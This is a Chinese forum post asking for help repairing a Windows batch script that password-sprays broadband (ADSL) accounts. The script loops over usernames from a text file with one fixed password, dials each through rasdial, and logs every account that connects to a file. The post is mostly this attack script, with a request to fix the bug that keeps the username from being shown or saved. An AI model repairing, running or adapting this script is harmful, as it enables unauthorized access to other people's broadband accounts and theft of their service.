- 帖子
- 3
- 积分
- 16
- 技术
- 0
- 捐助
- 0
- 注册时间
- 2013-7-1
|
5QB求帮忙改下
本帖最后由 654000 于 2013-7-1 01:20 编辑
@echo off & setlocal enabledelayedexpansion
set userfile=宽带账号.txt
set pppname=宽带连接
set outfile=成功连接.txt
:choose
echo.&echo 宽带账号及密码连接检测批处理 By LJ_SunTB
echo.&echo 1 - 宽带密码固定,账号从文本 %userfile% 里提取逐一测试
echo.&echo 0 - 退出批处理
echo.&set /p choose=请输入你选择的序号并回车:
if %choose% equ 1 goto :pass1userx
if %choose% equ 0 exit
cls&echo.&echo 输入的序号有误,请重新选择!&set choose=&goto :choose
:pass1userx
set pass=adsl12
call :check0
for /f "tokens=*" %%a in ('type "%userfile%"') do (rasdial "%pppname%" %%a %pass% >nul & call :check1)
goto :exit
:exit
rasdial "%pppname%" %user% %pass% >nul
echo.&echo 所有操作完毕,按任意键退出&pause>nul&exit
:check0
rasdial|find "已连接">nul
if %errorlevel% equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do (rasdial "%%a" /d >nul&set pppname=%%a&goto :eof)
goto :eof
:check1
echo.&set /p str=正在连接账号 %user%=%pass% <nul
echo set ws = createobject("wscript.shell")>sleep5.vbs
echo WScript.Sleep 60000>>sleep5.vbs
sleep5.vbs
del sleep5.vbs
rasdial "%pppname%" %user% %pass% >nul
rasdial|find "已连接">nul
if %errorlevel% equ 0 (
echo [连接成功]
if %choose% neq 7 echo>>"%outfile%" %user%=%pass%
set lastuser=%user%
set lastpass=%pass%
set end=1
) else (echo.)
rasdial "%pppname%" /d >nul
goto :eof
出错地方,屏幕只能显示=adsl12不显示宽带账号,文本记录也是同样
要求,屏幕正常显示调用 宽带账号 成功连接后,宽带账号正常写入文本
联系QQ654000,加时请注明,晚7点后再线 |
|